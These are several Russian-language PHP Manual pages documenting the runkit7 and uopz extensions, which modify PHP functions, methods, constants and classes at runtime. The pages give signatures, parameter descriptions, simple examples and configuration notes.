runkit7_constant_redefine — Переопределяет уже определённую константу

Описание

runkit7_constant_redefine(string $constant_name, mixed $value, int $new_visibility = ?): bool

Список параметров

constant_name

Константа, которую необходимо переопределить. Либо имя глобальной константы, либо classname::constname для переопределения константы класса.

value

Значение, присваиваемое константе.

new_visibility

Новая видимость константы для констант класса. По умолчанию без изменений. Одна из констант RUNKIT7_ACC_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • runkit7_constant_add() - Аналогичен define(), но также позволяет определить константу класса
  • runkit7_constant_remove() - Удаляет уже определённую константу

User Contributed Notes

There are no user contributed notes for this page.


Удаляет уже определённую константу

  • « runkit7_constant_redefine
  • runkit7_function_add »
  • PHP Manual
  • Функции runkit7
  • Удаляет уже определённую константу

runkit7_constant_remove

(PECL runkit7 >= Unknown)

runkit7_constant_remove — Удаляет уже определённую константу

Описание

runkit7_constant_remove(string $constant_name): bool

Список параметров

constant_name

Константа, которую необходимо удалить. Либо имя глобальной константы, либо classname::constname для удаления константы класса.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • define() - Определяет именованную константу
  • runkit7_constant_add() - Аналогичен define(), но также позволяет определить константу класса
  • runkit7_constant_redefine() - Переопределяет уже определённую константу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет новую функцию, функция аналогична create_function

  • « runkit7_constant_remove
  • runkit7_function_copy »
  • PHP Manual
  • Функции runkit7
  • Добавляет новую функцию, функция аналогична create_function

runkit7_function_add

(PECL runkit7 >= Unknown)

runkit7_function_add — Добавляет новую функцию, функция аналогична create_function()

Описание

runkit7_function_add(
string $function_name,
string $argument_list,
string $code,
bool $return_by_reference = null,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_function_add(
string $function_name,
Closure $closure,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

Список параметров

function_name

Имя создаваемой функции.

argument_list

Список аргументов, разделённых запятыми.

code

Код, составляющий функцию.

closure

Замыкание (closure), определяющее функцию.

return_by_reference

Определяет, должна ли функция возвращаться по ссылке.

doc_comment

Документальный комментарий функции.

return_type

Тип возвращаемого значения функции.

is_strict

Определяет, должна ли функция вести себя так, как если бы она была объявлена в файле с strict_types=1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_function_add()

<?php
runkit7_function_add('testme','$a,$b','echo "Значение A - $a\n"; echo "Значение B - $b\n";');
testme(1,2);
?>

Результат выполнения данного примера:

Значение A - 1
Значение B - 2

Смотрите также

  • create_function() - Создаёт функцию динамически, оценивая строку кода
  • runkit7_function_redefine() - Заменяет определение функции новой реализацией
  • runkit7_function_copy() - Копирует функцию в новое имя функции
  • runkit7_function_rename() - Изменяет имя функции
  • runkit7_function_remove() - Удаляет определение функции
  • runkit7_method_add() - Динамически добавляет новый метод в заданный класс

User Contributed Notes

There are no user contributed notes for this page.


Копирует функцию в новое имя функции

  • « runkit7_function_add
  • runkit7_function_redefine »
  • PHP Manual
  • Функции runkit7
  • Копирует функцию в новое имя функции

runkit7_function_copy

(PECL runkit7 >= Unknown)

runkit7_function_copy — Копирует функцию в новое имя функции

Описание

runkit7_function_copy(string $source_name, string $target_name): bool

Список параметров

source_name

Имя существующей функции.

target_name

Имя новой функции, в которую нужно скопировать определение.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_function_copy()

<?php
function original() {
echo "В функции\n";
}
runkit7_function_copy('original','duplicate');
original();
duplicate();
?>

Результат выполнения данного примера:

В функции
В функции

Смотрите также

  • runkit7_function_add() - Добавляет новую функцию, функция аналогична create_function
  • runkit7_function_redefine() - Заменяет определение функции новой реализацией
  • runkit7_function_rename() - Изменяет имя функции
  • runkit7_function_remove() - Удаляет определение функции

User Contributed Notes

There are no user contributed notes for this page.


Заменяет определение функции новой реализацией

  • « runkit7_function_copy
  • runkit7_function_remove »
  • PHP Manual
  • Функции runkit7
  • Заменяет определение функции новой реализацией

runkit7_function_redefine

(PECL runkit7 >= Unknown)

runkit7_function_redefine — Заменяет определение функции новой реализацией

Описание

runkit7_function_redefine(
string $function_name,
string $argument_list,
string $code,
bool $return_by_reference = null,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_function_redefine(
string $function_name,
Closure $closure,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

Замечание: По умолчанию, только пользовательские функции могут быть удалены, переименованы или изменены. Для перекрытия внутренних функций, необходимо включить в php.ini опцию runkit.internal_override.

Список параметров

function_name

Имя функции для переопределения.

argument_list

Новый список аргументов, принимаемых функцией.

code

Реализация нового кода.

closure

Замыкание (closure), определяющее функцию.

return_by_reference

Определяет, должна ли функция возвращаться по ссылке.

doc_comment

Документальный комментарий функции.

return_type

Тип возвращаемого значения функции.

is_strict

Определяет, должна ли функция вести себя так, как если бы она была объявлена в файле с strict_types=1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_function_redefine()

<?php
function testme() {
echo "Оригинальная реализация Testme\n";
}
testme();
runkit7_function_redefine('testme','','echo "Новая реализация Testme\n";');
testme();
?>

Результат выполнения данного примера:

Оригинальная реализация Testme
Новая реализация Testme

Смотрите также

  • runkit7_function_add() - Добавляет новую функцию, функция аналогична create_function
  • runkit7_function_copy() - Копирует функцию в новое имя функции
  • runkit7_function_rename() - Изменяет имя функции
  • runkit7_function_remove() - Удаляет определение функции
  • runkit7_method_redefine() - Динамически изменяет код заданного метода

User Contributed Notes

There are no user contributed notes for this page.


Удаляет определение функции

  • « runkit7_function_redefine
  • runkit7_function_rename »
  • PHP Manual
  • Функции runkit7
  • Удаляет определение функции

runkit7_function_remove

(PECL runkit7 >= Unknown)

runkit7_function_remove — Удаляет определение функции

Описание

runkit7_function_remove(string $function_name): bool

Замечание: По умолчанию, только пользовательские функции могут быть удалены, переименованы или изменены. Для перекрытия внутренних функций, необходимо включить в php.ini опцию runkit.internal_override.

Список параметров

function_name

Имя удаляемой функции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • runkit7_function_add() - Добавляет новую функцию, функция аналогична create_function
  • runkit7_function_copy() - Копирует функцию в новое имя функции
  • runkit7_function_redefine() - Заменяет определение функции новой реализацией
  • runkit7_function_rename() - Изменяет имя функции

User Contributed Notes

There are no user contributed notes for this page.


Изменяет имя функции

  • « runkit7_function_remove
  • runkit7_import »
  • PHP Manual
  • Функции runkit7
  • Изменяет имя функции

runkit7_function_rename

(PECL runkit7 >= Unknown)

runkit7_function_rename — Изменяет имя функции

Описание

runkit7_function_rename(string $source_name, string $target_name): bool

Замечание: По умолчанию, только пользовательские функции могут быть удалены, переименованы или изменены. Для перекрытия внутренних функций, необходимо включить в php.ini опцию runkit.internal_override.

Список параметров

source_name

Текущее имя функции.

target_name

Новое имя функции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • runkit7_function_add() - Добавляет новую функцию, функция аналогична create_function
  • runkit7_function_copy() - Копирует функцию в новое имя функции
  • runkit7_function_redefine() - Заменяет определение функции новой реализацией
  • runkit7_function_remove() - Удаляет определение функции

User Contributed Notes

There are no user contributed notes for this page.


Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая

  • « runkit7_function_rename
  • runkit7_method_add »
  • PHP Manual
  • Функции runkit7
  • Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая

runkit7_import

(PECL runkit7 >= Unknown)

runkit7_import — Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая

Внимание

Функционал был удалён в PECL runkit7 4.0.0.

Описание

runkit7_import(string $filename, int $flags = ?): bool

Функция подобна include. Однако любой код, находящийся за пределами функции или класса, просто игнорируется. Кроме того, в зависимости от значения flags, любые функции или классы, которые уже существуют в текущей запущенной среде, могут быть автоматически перезаписаны их новыми определениями.

Список параметров

filename

Имя файла для импорта определений функций и классов.

flags

Побитовое ИЛИ констант RUNKIT7_IMPORT_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Динамически добавляет новый метод в заданный класс

  • « runkit7_import
  • runkit7_method_copy »
  • PHP Manual
  • Функции runkit7
  • Динамически добавляет новый метод в заданный класс

runkit7_method_add

(PECL runkit7 >= Unknown)

runkit7_method_add — Динамически добавляет новый метод в заданный класс

Описание

runkit7_method_add(
string $class_name,
string $method_name,
string $argument_list,
string $code,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_method_add(
string $class_name,
string $method_name,
Closure $closure,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

Список параметров

class_name

Класс, в котором нужно добавить метод.

method_name

Имя метода, который нужно добавить.

argument_list

Разделённый запятыми список аргументов для нового метода.

code

Код, который будет выполняться при вызове method_name.

closure

Замыкание (closure), определяющее метод.

flags

Метод может быть RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED или RUNKIT7_ACC_PRIVATE, и, при необходимости, объединён с помощью побитового ИЛИ с RUNKIT7_ACC_STATIC.

doc_comment

Документальный комментарий метода.

return_type

Тип возвращаемого значения метода.

is_strict

Определяет, будет ли метод вести себя так, как если бы он был объявлен в файле с strict_types=1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_method_add()

<?php
class Example {
function foo() {
echo "foo!\n";
}
}

// создание объекта Example
$e = new Example();

// добавление нового общедоступного метода
runkit7_method_add(
'Example',
'add',
'$num1, $num2',
'return $num1 + $num2;',
RUNKIT7_ACC_PUBLIC
);

// добавление 12 + 4
echo $e->add(12, 4);
?>

Результат выполнения данного примера:

16

Смотрите также

  • runkit7_method_copy() - Копирует метод из одного класса в другой
  • runkit7_method_redefine() - Динамически изменяет код заданного метода
  • runkit7_method_remove() - Динамически удаляет заданный метод
  • runkit7_method_rename() - Динамически изменяет имя заданного метода
  • runkit7_function_add() - Добавляет новую функцию, функция аналогична create_function

User Contributed Notes

There are no user contributed notes for this page.


Копирует метод из одного класса в другой

  • « runkit7_method_add
  • runkit7_method_redefine »
  • PHP Manual
  • Функции runkit7
  • Копирует метод из одного класса в другой

runkit7_method_copy

(PECL runkit7 >= Unknown)

runkit7_method_copy — Копирует метод из одного класса в другой

Описание

runkit7_method_copy(
string $destination_class,
string $destination_method_name,
string $source_class,
string $source_method_name = ?
): bool

Список параметров

destination_class

Целевой класс для скопированного метода.

destination_method_name

Название метода назначения.

source_class

Исходный класс скопированного метода.

source_method_name

Имя метода для копирования из исходного класса. Если этот параметр опущен, предполагается значение destination_method_name.

Возвращаемые значения

Примеры

Пример #1 Пример использования runkit7_method_copy()

<?php
class Foo {
function example() {
return "foo!\n";
}
}

class Bar {
// изначально никаких методов
}

// копирование метода example() из класса Foo в класс Bar как baz()
runkit7_method_copy('Bar', 'baz', 'Foo', 'example');

// функция вывода скопирована
echo Bar::baz();
?>

Результат выполнения данного примера:

foo!

Смотрите также

  • runkit7_method_add() - Динамически добавляет новый метод в заданный класс
  • runkit7_method_redefine() - Динамически изменяет код заданного метода
  • runkit7_method_remove() - Динамически удаляет заданный метод
  • runkit7_method_rename() - Динамически изменяет имя заданного метода
  • runkit7_function_copy() - Копирует функцию в новое имя функции

User Contributed Notes

There are no user contributed notes for this page.


Динамически изменяет код заданного метода

  • « runkit7_method_copy
  • runkit7_method_remove »
  • PHP Manual
  • Функции runkit7
  • Динамически изменяет код заданного метода

runkit7_method_redefine

(PECL runkit7 >= Unknown)

runkit7_method_redefine — Динамически изменяет код заданного метода

Описание

runkit7_method_redefine(
string $class_name,
string $method_name,
string $argument_list,
string $code,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool
runkit7_method_redefine(
string $class_name,
string $method_name,
Closure $closure,
int $flags = RUNKIT7_ACC_PUBLIC,
string $doc_comment = null,
string $return_type = ?,
bool $is_strict = ?
): bool

Список параметров

class_name

Класс, в котором нужно переопределить метод.

method_name

Имя метода, который нужно переопределить.

argument_list

Разделённый запятыми список аргументов для переопределённого метода.

code

Новый код, который будет выполняться при вызове method_name.

closure

Замыкание (closure), определяющее метод.

flags

Переопределённый метод может быть RUNKIT7_ACC_PUBLIC, RUNKIT7_ACC_PROTECTED или RUNKIT7_ACC_PRIVATE, и, при необходимости, объединён с помощью побитового ИЛИ с RUNKIT7_ACC_STATIC.

doc_comment

Документальный комментарий метода.

return_type

Тип возвращаемого значения метода.

is_strict

Определяет, будет ли метод вести себя так, как если бы он был объявлен в файле с strict_types=1.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_method_redefine()

<?php
class Example {
function foo() {
return "foo!\n";
}
}

// создание объекта Example
$e = new Example();

// вывод Example::foo() (до переопределения)
echo "До: " . $e->foo();

// Переопределение метода 'foo'
runkit7_method_redefine(
'Example',
'foo',
'',
'return "bar!\n";',
RUNKIT7_ACC_PUBLIC
);

// вывод Example::foo() (после переопределения)
echo "После: " . $e->foo();
?>

Результат выполнения данного примера:

До: foo!
После: bar!

Смотрите также

  • runkit7_method_add() - Динамически добавляет новый метод в заданный класс
  • runkit7_method_copy() - Копирует метод из одного класса в другой
  • runkit7_method_remove() - Динамически удаляет заданный метод
  • runkit7_method_rename() - Динамически изменяет имя заданного метода
  • runkit7_function_redefine() - Заменяет определение функции новой реализацией

User Contributed Notes

There are no user contributed notes for this page.


Динамически удаляет заданный метод

  • « runkit7_method_redefine
  • runkit7_method_rename »
  • PHP Manual
  • Функции runkit7
  • Динамически удаляет заданный метод

runkit7_method_remove

(PECL runkit7 >= Unknown)

runkit7_method_remove — Динамически удаляет заданный метод

Описание

runkit7_method_remove(string $class_name, string $method_name): bool

Замечание: Эта функция не может быть использована для влияния на работающие в данный момент (или цепные) методы.

Список параметров

class_name

Класс, в котором нужно удалить метод.

method_name

Имя удаляемого метода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_method_remove()

<?php
class Example {
function foo() {
return "foo!\n";
}

function bar() {
return "bar!\n";
}
}

// Remove the 'foo' method
runkit7_method_remove(
'Example',
'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

Результат выполнения данного примера:

bar

Смотрите также

  • runkit7_method_add() - Динамически добавляет новый метод в заданный класс
  • runkit7_method_copy() - Копирует метод из одного класса в другой
  • runkit7_method_redefine() - Динамически изменяет код заданного метода
  • runkit7_method_rename() - Динамически изменяет имя заданного метода
  • runkit7_function_remove() - Удаляет определение функции

User Contributed Notes

There are no user contributed notes for this page.


Динамически изменяет имя заданного метода

  • « runkit7_method_remove
  • runkit7_object_id »
  • PHP Manual
  • Функции runkit7
  • Динамически изменяет имя заданного метода

runkit7_method_rename

(PECL runkit7 >= Unknown)

runkit7_method_rename — Динамически изменяет имя заданного метода

Описание

runkit7_method_rename(string $class_name, string $source_method_name, string $target_method_name): bool

Замечание: Эта функция не может быть использована для влияния на работающие в данный момент (или цепные) методы.

Список параметров

class_name

Класс, в котором нужно переименовать метод.

source_method_name

Метод, который нужно переименовать.

target_method_name

Новое имя метода.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования runkit7_method_rename()

<?php
class Example {
function foo() {
return "foo!\n";
}
}

// Переименование метода 'foo' в 'bar'
runkit7_method_rename(
'Example',
'foo',
'bar'
);

// Вывод переименованной функции
echo (new Example)->bar();
?>

Результат выполнения данного примера:

foo!

Смотрите также

  • runkit7_method_add() - Динамически добавляет новый метод в заданный класс
  • runkit7_method_copy() - Копирует метод из одного класса в другой
  • runkit7_method_redefine() - Динамически изменяет код заданного метода
  • runkit7_method_remove() - Динамически удаляет заданный метод
  • runkit7_function_rename() - Изменяет имя функции

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дескриптор целочисленного объекта для данного объекта

  • « runkit7_method_rename
  • runkit7_superglobals »
  • PHP Manual
  • Функции runkit7
  • Возвращает дескриптор целочисленного объекта для данного объекта

runkit7_object_id

(PECL runkit7 >= Unknown)

runkit7_object_id — Возвращает дескриптор целочисленного объекта для данного объекта

Описание

runkit7_object_id(object $obj): int

Функция эквивалентна spl_object_id().

Функция возвращает уникальный идентификатор объекта. Идентификатор объекта уникален на протяжении всего времени существования объекта. После уничтожения объекта его идентификатор может быть повторно использован для других объектов. Поведение похоже на spl_object_hash().

Список параметров

obj

Любой объект.

Возвращаемые значения

Целочисленный идентификатор, уникальный для каждого существующего в данный момент объекта и всегда одинаковый для каждого объекта.

Примечания

Замечание:

Когда объект уничтожен, его идентификатор может быть повторно использован для других объектов.

Смотрите также

  • spl_object_id() - Получить целочисленный идентификатор объекта

User Contributed Notes

There are no user contributed notes for this page.


Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных

  • « runkit7_object_id
  • runkit7_zval_inspect »
  • PHP Manual
  • Функции runkit7
  • Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных

runkit7_superglobals

(PECL runkit7 >= Unknown)

runkit7_superglobals — Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных

Описание

runkit7_superglobals(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных. Например: _GET, _POST, _REQUEST, _COOKIE, _SESSION, _SERVER, _ENV, _FILES.

Смотрите также

  • Область видимости переменной

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее

  • « runkit7_superglobals
  • uopz »
  • PHP Manual
  • Функции runkit7
  • Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее

runkit7_zval_inspect

(PECL runkit7 >= Unknown)

runkit7_zval_inspect — Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее

Описание

runkit7_zval_inspect(string $value): array

Список параметров

value

Значение, чтобы вернуть представление.

Возвращаемые значения

Массив, возвращаемый этой функцией, содержит следующие элементы:

  • address
  • refcount (необязательный)
  • is_ref (необязательный)
  • type

Примеры

Пример #1 Пример использования runkit7_zval_inspect()

<?php

$var = new DateTime();
var_dump(runkit7_zval_inspect($var));

$var = 1;
var_dump(runkit7_zval_inspect($var));
?>

Результат выполнения данного примера:

array(4) {
  ["address"]=>
  string(14) "0x7f45ab21b1e0"
  ["refcount"]=>
  int(2)
  ["is_ref"]=>
  bool(false)
  ["type"]=>
  int(8)
}

array(2) {
  ["address"]=>
  string(14) "0x7f45ab21b1e0"
  ["type"]=>
  int(4)
}

Смотрите также

  • Объяснение ссылок
  • » Объяснение ссылок (Дерик Ретанс)

User Contributed Notes

There are no user contributed notes for this page.


User Operations для Zend

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции Uopz
    • uopz_add_function — Добавляет несуществующую функцию или метод
    • uopz_allow_exit — Позволяет управлять отключённым опкодом exit
    • uopz_backup — Резервирует функцию
    • uopz_compose — Составить класс
    • uopz_copy — Скопировать функцию
    • uopz_del_function — Удаляет ранее добавленную функцию или метод
    • uopz_delete — Удалить функцию
    • uopz_extend — Расширить класс во время выполнения
    • uopz_flags — Получить или установить флаги для функции или класса
    • uopz_function — Создаёт функцию во время выполнения
    • uopz_get_exit_status — Получить последний установленный статус выхода
    • uopz_get_hook — Получает ранее установленный обработчик на функцию или метод
    • uopz_get_mock — Получить текущий имитатор (mock) для класса
    • uopz_get_property — Получает значение класса или свойство экземпляра
    • uopz_get_return — Получает предыдущее установленное возвращаемое значение для функции
    • uopz_get_static — Возвращает статические переменные из области видимости функции или метода
    • uopz_implement — Реализует интерфейс во время выполнения
    • uopz_overload — Перегрузить опкод VM
    • uopz_redefine — Переопределить константу
    • uopz_rename — Переименовать функцию во время выполнения
    • uopz_restore — Восстановить ранее зарезервированную функцию
    • uopz_set_hook — Устанавливает обработчик для выполнения при вызове функции или метода
    • uopz_set_mock — Использовать имитатор вместо класса для новых объектов
    • uopz_set_property — Устанавливает значение существующего свойства класса или экземпляра
    • uopz_set_return — Предоставить возвращаемое значение для существующей функции
    • uopz_set_static — Устанавливает статические переменные в области видимости функции или метода
    • uopz_undefine — Отменяет определение константы
    • uopz_unset_hook — Удаляет ранее установленную функцию или метод
    • uopz_unset_mock — Удалить ранее установленный имитатор
    • uopz_unset_return — Отменяет ранее установленное возвращаемое значение для функции

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль uopz (User Operations for Zend) предоставляет функциональность Zend Engine, обычно используемую во время компиляции и выполнении, чтобы разрешить модификацию внутренних структур, представляющих PHP-код, и для взаимодействия пользовательского кода с виртуальной машиной.

uopz поддерживает следующие действия:

  • Перегрузка некоторых опкодов, включая ZEND_EXIT и ZEND_NEW
  • Функции и методы резервного копирования и восстановления
  • Переименование функций и методов
  • Копирование функций и методов
  • Удаление функций и методов
  • Переопределение глобальных и классовых констант
  • Удаление глобальных и классовых констант
  • Создание и модификация классов во время выполнения

Замечание:

Все поддерживаемые действия совместимы с opcache

Предостережение

PECL uopz 6.1.1 несовместим с Xdebug >= 2.9.4. Более поздние версии uopz несовместимы с Xdebug < 2.9.4.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для uopz 5.0 требуется PHP 7.0. Начиная с uopz 5.1 требуется PHP 7.1+.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Релизы uopz распространяются через PECL, а исходный код находится на » github, самый простой путь к установке - через PECL: » https://pecl.php.net/package/uopz.

Пользователи Windows могут загрузить готовый исполняемый релиз с сайта » PECL.

Начиная с 5.0.0, модуль должен загружаться как обычный модуль PHP (extension). Ранее его надо было загружать как zend_extension.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

uopz Опции настройки
Имя | По умолчанию | Место изменения | Список изменений
uopz.disable | "0" | PHP_INI_SYSTEM | Доступно начиная с uopz 5.0.2
uopz.exit | "0" | PHP_INI_SYSTEM | Доступно начиная с uopz 6.0.1
uopz.overloads | "1" | PHP_INI_SYSTEM | Доступно начиная с uopz 2.0.2. Удалено начиная с uopz 5.0.0.
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

uopz.disable bool

Если включено, uopz перестанет влиять на работу PHP.

uopz.exit bool

Позволять ли модулю исполнять опкод exit(выход). Эта настройка может быть переопределена во время исполнения с помощью функции uopz_allow_exit().

uopz.overloads bool

Даёт возможность использовать uopz_overload().

Замечание: При работе с включённым OPcache может потребоваться отключить все оптимизации OPcache (opcache.optimization_level=0).

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Следующие опкоды определяются как константы с помощью uopz до версии 5.0.0:

ZEND_EXIT (int)
Вызывается с помощью exit() and die(), не принимает аргументов. Возвращает логический true для выхода, false для продолжения
ZEND_NEW (int)
Вызывается конструкцией объекта, получает класс создаваемого объекта в качестве единственного аргумента
ZEND_THROW (int)
Вызывается конструкцией throw, получает класс выбрасываемого исключения в качестве единственного аргумента
ZEND_FETCH_CLASS (int)
Вызывается во время композиции, получает имя получаемого в качестве единственного аргумента
ZEND_ADD_TRAIT (int)
Вызывается во время композиции, получает класс добавляемого трейта первым аргументом, и имя трейта в качестве второго аргумента
ZEND_ADD_INTERFACE (int)
Вызывается во время композиции, получает класс добавляемого интерфейса первым аргументом, и имя интерфейса в качестве второго аргумента
ZEND_INSTANCEOF (int)
Вызывается оператором instanceof, получает проверяемый объект первым аргументом и имя класса, который должен быть в объекте в качестве второго аргумента

Следующие константы управляют поведением виртуальной машины после вызова обработчика пользователя, будьте предельно осторожны! Эти константы удалены с uopz версии 5.0.0.

ZEND_USER_OPCODE_CONTINUE (int)
Продвинуть 1 опкод и продолжить
ZEND_USER_OPCODE_ENTER (int)
Ввести новый new op_array без рекурсии
ZEND_USER_OPCODE_LEAVE (int)
Вернуть вызывающий op_array внутри того же исполнителя
ZEND_USER_OPCODE_DISPATCH (int)
Отправить в исходный обработчик опкода
ZEND_USER_OPCODE_DISPATCH_TO (int)
Отправить на конкретный обработчик (посредством бинарного OR с константой опкода ZEND)
ZEND_USER_OPCODE_RETURN (int)
Выйти из исполнителя (возврат из функции)

Следующие модификаторы регистрируются как константы uopz

ZEND_ACC_PUBLIC (int)
Отметить функцию как общедоступную, по умолчанию
ZEND_ACC_PROTECTED (int)
Отметить функцию как защищённую
ZEND_ACC_PRIVATE (int)
Отметить функцию как закрытую
ZEND_ACC_STATIC (int)
Отметить функцию как статическую
ZEND_ACC_FINAL (int)
Отметить функцию как окончательную
ZEND_ACC_ABSTRACT (int)
Отметить функцию как абстрактную
ZEND_ACC_CLASS (int)
Фиктивная регистрация для согласованности, запись класса по умолчанию. Удалено в uopz 5.0.0.
ZEND_ACC_INTERFACE (int)
Отметить класс как интерфейс. Удалено в uopz 5.0.0.
ZEND_ACC_TRAIT (int)
Отметить класс как трейт. Удалено в uopz 5.0.0.
ZEND_ACC_FETCH (int)
Используется только для получения флагов. Удалено в uopz 5.0.0.

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 03:37
At least with uops 5.02 and PHP 7.2 (Win64), the constant ZEND_ACC_FETCH is not defined - while others are.

You can use:

if ( !defined( 'ZEND_ACC_FETCH' ) )
    define( 'ZEND_ACC_FETCH', PHP_INT_MAX );


Функции Uopz

Содержание

  • uopz_add_function — Добавляет несуществующую функцию или метод
  • uopz_allow_exit — Позволяет управлять отключённым опкодом exit
  • uopz_backup — Резервирует функцию
  • uopz_compose — Составить класс
  • uopz_copy — Скопировать функцию
  • uopz_del_function — Удаляет ранее добавленную функцию или метод
  • uopz_delete — Удалить функцию
  • uopz_extend — Расширить класс во время выполнения
  • uopz_flags — Получить или установить флаги для функции или класса
  • uopz_function — Создаёт функцию во время выполнения
  • uopz_get_exit_status — Получить последний установленный статус выхода
  • uopz_get_hook — Получает ранее установленный обработчик на функцию или метод
  • uopz_get_mock — Получить текущий имитатор (mock) для класса
  • uopz_get_property — Получает значение класса или свойство экземпляра
  • uopz_get_return — Получает предыдущее установленное возвращаемое значение для функции
  • uopz_get_static — Возвращает статические переменные из области видимости функции или метода
  • uopz_implement — Реализует интерфейс во время выполнения
  • uopz_overload — Перегрузить опкод VM
  • uopz_redefine — Переопределить константу
  • uopz_rename — Переименовать функцию во время выполнения
  • uopz_restore — Восстановить ранее зарезервированную функцию
  • uopz_set_hook — Устанавливает обработчик для выполнения при вызове функции или метода
  • uopz_set_mock — Использовать имитатор вместо класса для новых объектов
  • uopz_set_property — Устанавливает значение существующего свойства класса или экземпляра
  • uopz_set_return — Предоставить возвращаемое значение для существующей функции
  • uopz_set_static — Устанавливает статические переменные в области видимости функции или метода
  • uopz_undefine — Отменяет определение константы
  • uopz_unset_hook — Удаляет ранее установленную функцию или метод
  • uopz_unset_mock — Удалить ранее установленный имитатор
  • uopz_unset_return — Отменяет ранее установленное возвращаемое значение для функции

User Contributed Notes

There are no user contributed notes for this page.


Добавляет несуществующую функцию или метод

  • « Функции Uopz
  • uopz_allow_exit »
  • PHP Manual
  • Функции Uopz
  • Добавляет несуществующую функцию или метод

uopz_add_function

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_add_function — Добавляет несуществующую функцию или метод

Описание

uopz_add_function(string $function, Closure $handler, int &$flags = ZEND_ACC_PUBLIC): bool
uopz_add_function(
string $class,
string $function,
Closure $handler,
int &$flags = ZEND_ACC_PUBLIC,
int &$all = true
): bool

Добавляет несуществующую функцию или метод.

Список параметров

class

Имя класса.

function

Имя функции или метода.

handler

Объект Closure, который определяет новую функцию или метод.

flags

Флаги для установки новой функции или метода.

all

Будут ли затронуты все классы, которые происходят от класса (class).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

uopz_add_function() выбрасывает RuntimeException, если добавляемая функция или метод уже существует.

Примеры

Пример #1 Простое использование uopz_add_function()

<?php
uopz_add_function('foo', function () {echo 'bar';});
foo();
?>

Результат выполнения данного примера:

bar

Смотрите также

  • uopz_del_function() - Удаляет ранее добавленную функцию или метод
  • uopz_set_return() - Предоставить возвращаемое значение для существующей функции

User Contributed Notes

There are no user contributed notes for this page.


Позволяет управлять отключённым опкодом exit

  • « uopz_add_function
  • uopz_backup »
  • PHP Manual
  • Функции Uopz
  • Позволяет управлять отключённым опкодом exit

uopz_allow_exit

(PECL uopz 5, PECL uopz 6, PECL uopz 7)

uopz_allow_exit — Позволяет управлять отключённым опкодом exit

Описание

uopz_allow_exit(bool $allow): void

По умолчанию uopz отключает опкод exit, поэтому вызовы exit() практически игнорируются. uopz_allow_exit() позволяет контролировать это поведение.

Список параметров

allow

Разрешить выполнение опкодов exit или нет.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования uopz_allow_exit()

<?php
exit(1);
echo 1;
uopz_allow_exit(true);
exit(2);
echo 2;
?>

Результат выполнения данного примера:

1

Примечания

Предостережение

OPcache оптимизирует мёртвый код после безусловного завершения.

Смотрите также

  • uopz_get_exit_status() - Получить последний установленный статус выхода

User Contributed Notes

There are no user contributed notes for this page.


Резервирует функцию

  • « uopz_allow_exit
